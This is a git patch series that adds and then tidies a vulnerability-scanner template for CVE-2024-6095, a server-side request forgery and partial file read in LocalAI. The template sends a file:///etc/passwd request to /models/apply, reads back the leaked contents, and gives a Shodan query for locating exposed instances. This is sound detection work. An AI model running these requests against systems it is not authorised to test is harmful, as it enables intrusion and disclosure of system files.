From 78214f5992d7fbb232d39c4391e382a8004b0834 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 23 Aug 2024 15:38:37 +0530 Subject: [PATCH 1/3] Create CVE-2024-6095.yaml --- http/cves/2024/CVE-2024-6095.yaml | 66 +++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 http/cves/2024/CVE-2024-6095.yaml diff --git a/http/cves/2024/CVE-2024-6095.yaml b/http/cves/2024/CVE-2024-6095.yaml new file mode 100644 index 00000000000..1e750c4a51b --- /dev/null +++ b/http/cves/2024/CVE-2024-6095.yaml @@ -0,0 +1,66 @@ +id: CVE-2024-6095 + +info: + name: LocalAI - Partial Local File Read + author: iamnoooob,pdresearch,rootxharsh + severity: medium + description: | + A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s)-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17. + reference: + - https://github.com/fkie-cad/nvd-json-data-feeds + - https://github.com/sev-hack/sev-hack + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: CVE-2024-6095 + cwe-id: CWE-918 + epss-score: 0.00046 + epss-percentile: 0.17714 + cpe: cpe:2.3:a:mudler:localai:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: mudler + product: localai + shodan-query: http.favicon.hash:-976853304 + tags: cve,cve2024,localai,mudler,lfi + +flow: http(1) && http(2) + +http: + - raw: + - | + POST /models/apply HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"url":"file:///etc/passwd"} + + extractors: + - type: json + part: body + name: uuid + internal: true + json: + - ".uuid" + + - raw: + - | + GET /models/jobs/{{uuid}} HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - ': cannot unmarshal !!str `root:x:...`' + + - type: word + part: content_type + words: + - 'application/json' + + - type: status + status: + - 200 From 24e24578078890602df40cbb9f78609190adfb38 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 23 Aug 2024 15:42:02 +0530 Subject: [PATCH 2/3] fix-trail-space --- http/cves/2024/CVE-2024-6095.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-6095.yaml b/http/cves/2024/CVE-2024-6095.yaml index 1e750c4a51b..21934c7133e 100644 --- a/http/cves/2024/CVE-2024-6095.yaml +++ b/http/cves/2024/CVE-2024-6095.yaml @@ -48,7 +48,7 @@ http: - | GET /models/jobs/{{uuid}} HTTP/1.1 Host: {{Hostname}} - + matchers-condition: and matchers: - type: word From e99cdd0c7985721cab408245b2688b8bf47cb253 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Sat, 24 Aug 2024 07:40:18 +0400 Subject: [PATCH 3/3] Update CVE-2024-6095.yaml --- http/cves/2024/CVE-2024-6095.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-6095.yaml b/http/cves/2024/CVE-2024-6095.yaml index 21934c7133e..237097bbd73 100644 --- a/http/cves/2024/CVE-2024-6095.yaml +++ b/http/cves/2024/CVE-2024-6095.yaml @@ -9,6 +9,7 @@ info: reference: - https://github.com/fkie-cad/nvd-json-data-feeds - https://github.com/sev-hack/sev-hack + - https://nvd.nist.gov/vuln/detail/CVE-2024-6095 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 @@ -19,7 +20,7 @@ info: cpe: cpe:2.3:a:mudler:localai:*:*:*:*:*:*:*:* metadata: verified: true - max-request: 1 + max-request: 2 vendor: mudler product: localai shodan-query: http.favicon.hash:-976853304